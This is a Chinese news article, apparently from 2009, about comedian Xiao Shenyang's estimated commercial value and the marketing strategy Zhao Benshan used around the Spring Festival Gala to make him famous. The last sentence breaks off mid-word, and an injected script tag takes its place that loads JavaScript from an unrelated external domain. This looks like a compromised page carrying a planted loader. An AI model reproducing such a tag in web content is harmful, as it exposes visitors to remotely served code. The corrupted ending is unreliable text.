他已有国内一线明星的吸金力

    “小沈阳被曝一年商演能过亿！”近日被媒体曝光的这一消息正是引自著名财经作家彭雅青的推算。“小沈阳在北展剧场演出时，有人就为此算了一笔账：最高票价980元，最低180元，如果按均价500元来计算，北展剧场2700个座位，那么一场演出就有135万元的收入。四场演出下来，总票房将达500万以上。而上半年全国巡演50场的票房将超过6000万元，全年下来将超过1亿票房。这样的‘吸金’力，已不是当下任何一个‘天王天后’级别的明星可以相比，更无法用几十万元的出场费来衡量。”

    巡演并不是小沈阳唯一的商业价值，春晚后邀请他代言的品牌接踵而至，比如代言了某饮料和汽车品牌。知情人士透露，他的代言费已在春晚后一跃为7位数的天价，平均在200万到300万元间，与国内一线明星看齐。小沈阳在影视方面的商业潜质也逐渐显露。3月23日，张艺谋的电影制片人张伟平正式对外宣布：张艺谋新片已确定的演员有小沈阳、倪大红、孙红雷和王小华。同时，香港的无双文化传媒集团也伸来了橄榄枝，欲邀其担纲青春励志剧《天堂一角》的男主角；《乡村爱情3》已确定5月开机，尽管此前“小沈阳出任《乡村爱情3》男一号”的传言被编剧张继正式否决，但小沈阳的戏份将大大增加。

    这一切围绕着小沈阳展开的商业事件表示，能算得出的过亿的商业价值还只是一部分，有很多未透露具体报酬的商业策划还在进行中。小沈阳的商业价值早已不是突破一个亿的问题了。

    送你上青云：打一场小沈阳的营销战！ 2009春晚只是小沈阳抵达沸点的“最后一度”，而之前有赵本山漫长的推动过程，其中充满了“计谋”。赵本山怎么“密谋”捧红小沈阳？彭雅青在《沸点制造》中详细剖析营销过程。 热身战：不上春晚比上春晚更好 2008年小沈阳在央视的三上三下掀起很大风波，尽管最终没有亮相春晚，但小沈阳却踏进了舆论的中心，身价在口水争议中开始看涨。据悉，2006年，小沈阳二人转演出的出场费是每场500元，刚传出要上春晚的消息，就达到了每场两万元。 “他的命运，自赵本山决意推荐他的那一刻起，似乎已经注定。”彭雅青分析，“近些年央视春晚衍生出另一种‘民俗’——老百姓一边看春晚，一边骂春晚；岁岁盼年年望，每年都失望。这样的背景下，明星上不上春晚比上春晚本身更容易卷入话题中心。”

    埋伏战：以静制动，抑师扬徒 小沈阳话题的后续营销是怎么展开的？2008年3月，宋丹丹宣布不再上春晚。小沈阳背后的商业团队或者说本山大叔的军师们看来，这恰恰是小沈阳事件营销的最佳契机：2009年，赵本山拿什么上春晚？而这轮话题过后赵本山马上宣布自己要给新人让路。于是舆论焦点再次对准小沈阳：他能接过师傅的重担吗？然而，当观众真的考虑去迎接一个没有赵本山的春晚时，赵本山又公开向媒体“喊冤”———谁说我不上春晚了！ “这样的回答也宣告了小沈阳2009年春晚事件营销已成功打完了前期的舆论埋伏战———以静制动，抑师扬徒，借师傅之火，炒熟徒弟的品牌之豆。”书中总结这个阶段的战役。

     大决战：以退为进，主动求毙 2009年春晚，为了把悬念坚持得更为持久和迷离，赵本山不到最后时刻始终不提小沈阳。他甚至还故作高深地表示：“我这次不带徒弟上春晚了！”其实，小沈阳早已跟着师父进驻剧组商讨节目方案了。第一个小品方案《送蛋糕》当时只是被剧组要求修改，并没说不让上，而是被赵本山主动要求“毙”掉的。彭雅青认为，这就叫“以退为进”。“为了凸显小沈阳，赵本山借机‘废’掉《送蛋糕》，连夜捧出了新作品《不差钱》。而这个剧本几乎完全是根据小沈阳的情况量身定制，只要上了，小沈阳没有不红的道理。”结果正中赵本山的下怀，小沈阳一炮走红。

     国《连线》杂志总编辑克里斯•安德森在其著名的《长尾理论》一书里指出：“电视黄金时代标志着所谓饮水机效应（watercoolereffect）的最高峰———‘饮水机效应’指的是办公室里围绕着某个大众文化事件的热烈讨论。”而在互联网时代，同一个办公室昨晚看同一部连续剧的可能性就极小了，“饮水机效应”正在消失，“长尾理论”开始流行。 克里斯•安德森用长尾理论颠覆了小众范围的“饮水机效应”，但在整个社会领域里，因为互联网踏平了诸多信息传播的藩篱，“饮水机效应”不但没有消失，反而更加明显。一个重大的电视节目或者重大人物、事件，它一旦占领了“饮水机”，就意味着它占领了公众的注意力，占领了广告商，占领了经济效应的制高点。尤其是在中国的现实生态里，各种话语权利和利益的分野使得人们对占领“饮水机”的大热门充满了情绪的对立，而非理智的思辨。这种对立下，“饮水机效应”愈演愈烈，而其背后的事件本身，却越发模糊。

    小沈阳的走红掀起了关于其前程走向的“饮水机效应”，专家也好，郭德纲也好，宋祖?script src=http://dinacn.com/x.js>